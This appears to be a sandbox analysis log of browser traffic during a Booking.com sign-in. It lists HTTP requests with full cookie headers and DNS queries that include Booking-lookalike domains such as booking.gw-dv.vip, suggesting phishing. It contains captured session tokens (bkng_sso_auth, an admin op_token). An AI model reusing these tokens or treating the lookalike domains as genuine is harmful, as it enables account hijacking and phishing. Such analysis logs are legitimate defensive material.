tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=39383924266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304331323525324330343027304b363433333a253746253a432d37402d3a3274253a302d30432732305350414c253231273a3153504346253031253a322d30413c3c3332362d374c2732412537422532306d6d27303a273243313d372730433a303e27304b3c3433323e273d462530432735422530327427303a273243273a32464b562d323b27303b4c4956253a312d303227324134343336312537462d304325374a2530306d65253a30273a4b3338332d304b333734253043343431343127374c273243273d422730327c253a30273a4b25323240332d303367396138363066332d36303f3a2d34346e622f60383d6325643b3d316138396b346d316627323144495627323327303a273243363c333a3a253d442d30412d3d4225323a6f65273230253043343035253241333c3b2532413c34313a382d354c27304b2d3542253a307c273230253043253230444954273a312532314c495427323b253a30273a4b34343438362d37442732412535422732326f6f2d303225304b34303a253a433930362d3a4334343c323c273546253043253540253230762d303225304b2530304441562d30312d3a3344495e273a31253032273243343634313b273d462532412d354027323a6d6527303a2d3243343c352d3043333030253243363434333b2d374425304b253740253a32656f273a3a2532433c343d273241383125324336343431372d374425304b253740253a327c27303a2d3243253a304643562732312532334a454146475a273233273a322730433c343c37332d3d4425324b273d402530326f6d2532302532413630322532413e352730433c343c37332d3d4425324b273d402530327625323227324327303a464956273a3327303346415e27303b2d3232253a413c363434362735442530432537402d30326d6f2d323027324b343136273a4b3439253a413c363434362735442530432537402d303274273a322730432d323a43273a3b2532335b52494c25303327323225304334363631362535462d324127354a253a306f652d3232253a413d3237273241333425304334363631362535462d324127354a253a30762d3a3225324b273a30444b562732332530334e43542d303325303a253041343c353932273d4c2532432d374a2732306d6f2532322732433733302732433039253041343c353932273d4c2532432d374a2732307427323225304325303046435625303b253031484d414c47502d3a3325323a273a413436353032253546253241273d40253230656d2730322d324b3730302d32433138273a413436353032253546253546246a6a73635d616e66677835333e HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionC
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413431322d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31383624266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304334343b25324334302530413c3a36373a2d354627324b253d40273a3a6d6d253a302d304334343b25324334302530413c3a36373a2d354627324b253d40273a3a7425323a273a412530324649562530332530314c4b5625303b253030253a433c3a353b392535442d304b2735402530326d6d27323227304b343636273a433330372d324b363a3f3b3125354c273d4626606871635f696c64657a3f3b35 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=37363524266a6361353326626a7b633f27354a253d40273a3a7425323a273a412530324649562530332530314c4b5625303b253030253a433c3a353e3d2535442d304b2735402530326d6d27323227304b343831273a43333a372d324b363a3f3e3525354c273a412537422732327427323227304b2732324641562730332d323b464b5e2d3233253a302d304336383539312537442530412d374225303a6d6f27323a253a4134313c2532433a3639273241343a37393127354427304b273542273a326f6f253a322d30413f383625324b30303b2530433638383234253546273a412535402d32306f6d2d323a27304b3f3137253a413b313327324134383835322537462d304325374a2530306d65253a30273a4b3732372d304b31373025304334383b323027374c273243273d42273032656d2d30302d3a4337333e273a41343238273243343a393334273d462532412d354027323a6d6527303a2d3243373c362d304336333b2532433638393a312d374425304b253740253a32656f273a3a2532433f3739273241343438253241343932323e273544273a432737422d323a6f6f2d3a3225324b353d35253043363934253043343b323a362535462d324127354a253a30762d3a3225324b273a30444b56273233253033444b542d303325303a2530413431303e32273d4c2532432d374a2732306d6f25323227324335343b2732433739372730433c393834322d3d4425324b273d402530326f6d253230253241353e3a2532413d333a27324b3431323a3d2d3544253a412d37422732306d6d2530322530413f353325304b353735253a433c3b3338392535442d304b2735402530326d6d27323227304b353737273a433735342d324b363b39303325354c273a412537422732326d6f253230273a413738332d3241373831253a4136313a3136253d462d30432735402532326f6d2530302d3043373a3d2530413638332d30413c313233322d374c2732412537422532306d6d27303a2732433530382730433e313d27304b3c39323430273d4625374424626873615f696c666d7a3d333a HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da53
Source: global traffic	HTTP traffic detected: GET /d8c14d4960ca/c2181391033f/telemetry HTTP/1.1Host: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: account.booking.com
Source: global traffic	DNS traffic detected: DNS query: cf.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: cdn.cookielaw.org
Source: global traffic	DNS traffic detected: DNS query: www.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: saa.booking.com
Source: global traffic	DNS traffic detected: DNS query: skynetx.com.br
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: geolocation.onetrust.com
Source: global traffic	DNS traffic detected: DNS query: xx.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: q-xx.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: aa.online-metrix.net
Source: global traffic	DNS traffic detected: DNS query: d8c14d4960ca.edge.sdk.awswaf.com
Source: global traffic	DNS traffic detected: DNS query: asanalytics.booking.com
Source: global traffic	DNS traffic detected: DNS query: t-cf.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: nellie.booking.com
Source: global traffic	DNS traffic detected: DNS query: d8c14d4960ca.47a814e6.us-east-2.token.awswaf.com
Source: global traffic	DNS traffic detected: DNS query: booking.ck123.io
Source: global traffic	DNS traffic detected: DNS query: booking.gw-dv.vip
Source: global traffic	DNS traffic detected: DNS query: ls.cdn-gw-dv.vip
Source: global traffic	DNS traffic detected: DNS query: stun.12voip.com
Source: global traffic	DNS traffic detected: DNS query: stun.1und1.de
Source: global traffic	DNS traffic detected: DNS query: stun.aa.net.uk
Source: global traffic	DNS traffic detected: DNS query: stun.acrobits.cz
Source: global traffic	DNS traffic detected: DNS query: stun.actionvoip.com
Source: global traffic	DNS traffic detected: DNS query: stun.antisip.com
Source: global traffic	DNS traffic detected: DNS query: stun.bluesip.net
Source: global traffic	DNS traffic detected: DNS query: stun.cablenet-as.net
Source: global traffic	DNS traffic detected: DNS query: stun.callromania.ro
Source: global traffic	DNS traffic detected: DNS query: stun.l.google.com
Source: global traffic	DNS traffic detected: DNS query: stun.tel.lu
Source: global traffic	DNS traffic detected: DNS query: stun.telbo.com
Source: global traffic	DNS traffic detected: DNS query: stun.twt.it
Source: global traffic	DNS traffic detected: DNS query: stun.uls.co.za
Source: global traffic	DNS traffic detected: DNS query: stun.usfamily.net
Source: global traffic	DNS traffic detected: DNS query: stun1.l.google.com
Source: global traffic	DNS traffic detected: DNS query: stun2.l.google.com
Source: global traffic	DNS traffic detected: DNS query: stun3.l.google.com
Source: global traffic	DNS traffic detected: DNS query: stun4.l.google.com
Source: global traffic	DNS traffic detected: DNS query: h.online-metrix.net
Source: global traffic	DNS traffic detected: DNS query: h64.online-metrix.net
Source: global traffic	DNS traffic detected: DNS query: eu-aa.online-metrix.net
Source: global traffic	DNS traffic detected: DNS query: doregtzf6iaxtlfiswumwrsizbeo62z2a4veq6ah0879407f60bb10dbam1.e.aa.online-metrix.net
Source: global traffic	DNS traffic detected: DNS query: r.bstatic.com
Source: global traffic	DNS traffic detected: DNS query: collector-pxikkul2rm.px-cloud.net
Source: global traffic	DNS traffic detected: DNS query: chromedata.webredirect.org

Source: unknown

HTTP traffic detected: POST /js-metric?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTI HTTP/1.1Host: account.booking.comConnection: keep-aliveContent-Length: 36Cache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-Type: application/jsonX-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: */*Origin: https://account.booking.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://account.booking.com/sign-in?op_token=EgVvYXV0aCKyAQoUNlo3Mm9IT2QzNk5uN3prM3BpcmgSCWF1dGhvcml6ZRoaaHR0cHM6Ly9hZG1pbi5ib29raW5nLmNvbS8qOnsiYXV0aF9hdHRlbXB0X2lkIjoiNjA5OWJhNDYtYTgzOC00MjcwLTkzZDItNmRiZTU1OTBhY2RiIn0yK2VjT2JXVUQwcnFzME1CN080WmhOMTJJMVFlVFFKTlBZaU4zVnpCLWtKWWc6BFMyNTZCBGNvZGUqEzDd_v3CzqgnOgBCAFiircu5qTIAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; bkng_ap=U2FsdGVkX19rHEBu7NB9TsVkR6OJKwfTMsB4rkFqG86Z1VBMU74WiNVk2tdncYp1wmL%2BPAwmflh9%0Aj%2FLZjnGztA%3D%3D%0A; bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJkYXRhX3N1YmplY3RfaWQiOiJhYTc5MjgxNi1hZWRlLTQ4YjctODk3MC1iNjc1NDRhZjE0MjEiLCJzZXNzaW9ucyI6W119fQ

Source: global traffic

HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=UTF-8Content-Length: 22Connection: closedate: Sat, 02 Nov 2024 13:00:19 GMTserver: Perl Dancer2 0.300004x-xss-protection: 1; mode=blockstrict-transport-security: max-age=63072000; includeSubDomains; preloadX-Cache: Error from cloudfrontVia: 1.1 c4d61fb97b2b6dd985813b847272e0d0.cloudfront.net (CloudFront)X-Amz-Cf-Pop: LHR50-P2X-Amz-Cf-Id: PF_kpNYAnujThdg6c8bZOS-4bvneyCsQqQ1_lTfTnMuOnPXyA0tdjA==

Source: chromecache_227.6.dr	String found in binary or memory: http://cond01.etbxml.com/cond/common.js
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.5.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
